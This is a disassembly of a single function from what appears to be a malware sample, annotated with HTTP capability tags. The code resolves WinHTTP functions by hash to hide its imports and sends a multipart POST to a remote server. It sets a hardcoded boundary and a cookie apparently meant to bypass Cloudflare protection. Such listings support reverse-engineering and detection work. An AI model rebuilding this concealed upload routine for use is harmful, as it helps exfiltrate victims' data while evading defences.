Function at 0x431880
Capabilities:
Reference http user-agent string
Set http header

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x34
jmp 0x43188b
push eax
mov eax, esp
push eax
mov ecx, esp
push eax
mov edx, esp
mov dword [ebp - 0x24], edx
push eax
mov dword [ebp - 0x28], esp
push eax
mov edi, esp
push eax
mov dword [ebp - 0x1c], esp
push eax
mov dword [ebp - 0x10], esp
push eax
mov ebx, esp
push eax
mov dword [ebp - 0x2c], esp
push eax
mov dword [ebp - 0x30], esp
push eax
mov dword [ebp - 0x34], esp
push eax
mov dword [ebp - 0x38], esp
push eax
mov dword [ebp - 0x14], esp
mov dword [ebp - 0x40], eax
mov esi, dword [ebp + 0x14]
mov dword [eax], esi
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp + 0x10]
mov dword [ecx], eax
mov eax, dword [ebp + 0xc]
mov dword [edx], eax
mov esi, dword [ebp - 0x28]
mov eax, dword [ebp + 8]
mov dword [esi], eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xf9f57cf0
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
lea ecx, [0x468d4e]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
call eax
mov dword [edi], eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x406457c2
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov ecx, dword [esi]
mov dword [ebp - 0x18], edi
mov edx, dword [edi]
xor esi, esi
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0x50
mov dword [esp + 0xc], 0
call eax
mov esi, dword [ebp - 0x1c]
mov dword [esi], eax
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x507048c2
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov ecx, dword [ebp - 0x24]
mov ecx, dword [ecx]
mov edx, dword [esi]
lea esi, str.POST
xor edi, edi
sub esp, 0x1c
mov dword [esp], edx
mov dword [esp + 4], esi
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call eax
mov edi, dword [ebp - 0x10]
mov dword [edi], eax
mov dword [ebx], 0x493e0
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xe268a0c1
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov dword [ebp - 0x20], eax
mov ecx, dword [ebx]
mov edx, dword [ebx]
mov esi, dword [ebx]
mov eax, dword [ebx]
mov ebx, dword [edi]
sub esp, 0x14
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], ecx
call dword [ebp - 0x20]
sub esp, 8
mov dword [esp], 0x96
mov dword [esp + 4], 1
call fcn.004556b7
add esp, 8
mov esi, dword [ebp - 0x2c]
mov dword [esi], eax
mov eax, dword [esi]
lea ecx, str.Content_Type:_multipart_form_data__boundary_s_r_n
lea edx, str.be85de5ipdocierre1
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xab3372e8
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov ecx, dword [esi]
mov edx, dword [edi]
sub esp, 0x10
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0x20000000
call eax
cmp dword [0x476594], 0
setne al
test al, 1
jne 0x431aa6
jmp 0x431b20
sub esp, 8
mov dword [esp], 0x100
mov dword [esp + 4], 1
call fcn.004556b7
add esp, 8
mov esi, dword [ebp - 0x30]
mov dword [esi], eax
mov eax, dword [0x476590]
mov ecx, dword [esi]
lea edx, str.Cookie:___cf_mw_byp_hs
sub esp, 0xc
mov dword [esp], ecx
mov dword [esp + 4], edx
mov dword [esp + 8], eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
mov eax, dword [esi]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xffffffff
mov dword [esp + 0xc], 0x20000000
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
mov eax, dword [esi]
sub esp, 4
mov dword [esp], eax
call fcn.00455b05
add esp, 4
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0xb72f0de
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov ebx, dword [ebp - 0x40]
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x10]
mov edx, dword [edx]
xor esi, esi
sub esp, 0x1c
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], 0
call eax
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov edi, dword [ebp - 0x38]
mov dword [edi], 0
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x59886bc0
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov ecx, dword [ebx]
mov edx, dword [ebp - 0x3c]
mov edx, dword [edx]
mov esi, dword [ebp - 0x10]
mov esi, dword [esi]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], edi
call eax
cmp eax, 0
jne 0x431bdb
jmp 0x431bcd
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
jmp 0x431cd0
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x76b029a
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], 0
call eax
cmp eax, 0
jne 0x431c21
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
jmp 0x431cd0
jmp 0x431c23
mov eax, dword [ebp - 0x18]
cmp dword [eax], 0
setne al
mov esi, dword [ebp - 0x1c]
test al, 1
jne 0x431c35
jmp 0x431c5e
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x7aa0edcc
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
call eax
jmp 0x431c60
cmp dword [esi], 0
setne al
test al, 1
jne 0x431c6c
jmp 0x431c92
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x7aa0edcc
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov ecx, dword [esi]
sub esp, 4
mov dword [esp], ecx
call eax
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0
je 0x431cc3
lea eax, str.winhttp.dll
sub esp, 8
mov dword [esp], 0x7aa0edcc
mov dword [esp + 4], eax
call fcn.0044d0b0
add esp, 8
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx]
sub esp, 4
mov dword [esp], ecx
call eax
jmp 0x431cc5
mov eax, dword [ebp - 0x14]
mov dword [eax], 1
jmp 0x431cd0
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret